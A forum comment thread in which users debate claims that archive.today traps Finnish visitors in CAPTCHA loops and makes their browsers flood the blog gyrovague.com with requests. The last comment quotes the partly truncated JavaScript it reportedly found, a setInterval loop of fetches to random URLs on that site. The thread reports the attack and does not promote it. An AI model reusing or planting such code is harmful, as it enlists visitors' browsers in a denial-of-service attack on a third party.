- ouhamouch 8mo agoit gives them a voice.
- duskwuff 8mo agoAnd that voice is practically shouting, "I AM UNTRUSTWORTHY".
- ouhamouch 8mo agothat is not the worst scream (especially after FBI and Russian trail). better to shout anything than to die in silence
- eddythompson80 8mo agoWhat kinda logic is that? If you don't want to die in silence, then shout something sensical. But if you're gonna shout garbage, just die in silence.
- tolerance 8mo agoOr some shrewd sort of tactician.
- behringer 8mo agoIs that, itself, true or disinformation?
- drum55 8mo agoIt was true and visible when reported, yeah.

- stuffoverflow 8mo agoI've not seen any evidence of them editing archived pages BUT the DDOSing of gyrovague.com is true and still actively taking place. The author of that blog is Finnish leading archive.today to ban all Finnish IPs by giving them endless captcha loops. After solving the first captcha, the page reloads and a javascript snippet appears in the source that attempts to spam gyrovague.com with repeated fetches.
- mmooss 8mo agoHow do you know that? Did you see it (do you have a Finnish IP?)?
- delusional 8mo agoThis is quite an interesting question. For a single datapoint, I happen to have access to a VPN that's supposedly in Finland, and connecting through that didn't make any captcha loop appear on archive.today. The page worked fine. Now it's obviously possible that my VPN was whitelisted somehow, or that the GeoIP of it is lying. This is just a singular datapoint.
- fear-anger-hate 8mo agoAs another datapoint with Finnish IP from Mullvad VPN: CAPTCHA loop and indeed after solving first CAPTCHA this can be found in page source: setInterval(function(){fetch("https://gyrovague.com/tag/"+Math.random().toString(36).substring(2,3+Math.random()*8)+"/ https://gyrovague.com/tag/"+Math.random().toString(36).subst...",{ referrerPolicy:"no-referrer",mode:"no-cors" });},1400);
